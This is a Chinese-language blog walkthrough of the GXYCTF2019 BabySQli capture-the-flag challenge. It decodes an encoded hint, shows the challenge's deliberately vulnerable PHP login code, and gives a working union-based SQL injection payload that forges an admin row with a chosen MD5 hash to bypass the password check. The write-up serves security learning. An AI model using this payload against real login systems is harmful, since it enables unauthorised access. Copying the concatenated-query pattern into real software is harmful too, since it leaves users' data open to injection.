Loading

[GXYCTF2019]BabySQli

[GXYCTF2019]BabySQli

一个很简单的的登录页面。

image-20220523152635349

先随便输入一个用户抓个包再测试。

image-20220523152817757

发现有一串 base32 的编码,去解码一下,发现解出来了一串 base64 编码继续解码给出了 sql 的查询语句。

# base32 特征
密文由 A-Z,2-7, = 组成的,5bit一个分组,当不够5bit时则用 “=” 补位

# 利用 ciphey 进行自动匹配并解码
## 项目地址:https://github.com/Ciphey/Ciphey
root@Ksec:/opt/tools# ciphey -- 'MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5'
Possible plaintext: "select * from user where username = '$name'" (y/N): y
╭─────────────────────────────────────────────────────────────────╮
│ Formats used:                                                   │
│    base32                                                       │
│    utf8                                                         │
│    base64                                                       │
│    utf8Plaintext: "select * from user where username = '$name'" │
╰─────────────────────────────────────────────────────────────────╯

# 明文(plaintext) : select * from user where username = '$name'

看到上面抓包发送的数据回显 wrong pass! 说明 admin 这个用户可能是存在的,为了验证admin用户是否存在,随便写一个不可能存在的 username 提交一下就知道了。

image-20220523154540079

果然,admin 是存在的,测试注入类型时发现,username的输入框位置存在注入点。

image-20220523154637083

进行联合查询的时候发现存在过滤,顺便测试一下哪些被过滤掉了。

image-20220523155702914

image-20220523155929328

image-20220523160027630

从回显的情况来看,响应长度为 419 的都是被过滤了的,长度为 415 的都是没被过滤的,所以输入查询后回显用户错误。发现 union 并没有被过滤,查询也没有回显,这下就不知道怎么办了。去看了下给出的源码地址

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
	function stripslashes_deep($value)
	{
		$value = is_array($value) ?
		array_map('stripslashes_deep', $value) :
		stripslashes($value);
		return $value;
	}

	$_POST = array_map('stripslashes_deep', $_POST);
	$_GET = array_map('stripslashes_deep', $_GET);
	$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
	$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);	# 对密码进行 md5 加密
$sql = "select * from user where username = '".$name."'";	# 用户查询语句
// echo $sql;
$result = mysqli_query($con, $sql);	# 查询用户

## 先插入查询语句进行查询用户之后才进行过滤
if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");  # 匹配到了就返回这句话
}
else{
	if (!$result) { # 没有查到返回的数据就输出报错的内容
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result); # 获取查询到的一行并作为数组返回
		// print_r($arr);
		if($arr[1] == "admin"){	# 如果数组的第二个值为 admin
			if(md5($password) == $arr[2]){	# 比较输入的password的md5 是不是和数组第三个值相等
				echo $flag;	# 相等输出 flag
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

?>

重要的位置就在 返回数据的第二个位置和第三个位置,索引为 1 和 2 的位置。

mysql> select 1 as arr0,2 as arr1,3 as arr2;
+------+------+------+
| arr0 | arr1 | arr2 |
+------+------+------+
|    1 |    2 |    3 |	# 这里的 2 和 3 就是要比较的位置
+------+------+------+
1 row in set (0.00 sec)

联合查询没有被过滤掉,可以利用 union 进行注入,查询输出第2,3的位置的值一定是 admin 和 md5(password) ,构造payload,由于源码中没有查询输入的密码只是对输入的密码进行了 md5 加密后再与使用 username 查出来的密码比较的,只要输入的密码的md5和查询出来的md5相等即可

202205231629210.png

# payload
?name=nonono' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1

image-20220523165526961

image-20220523165557584

posted @ 2022-08-13 10:38  knsec  阅读(40)  评论(0编辑  收藏  举报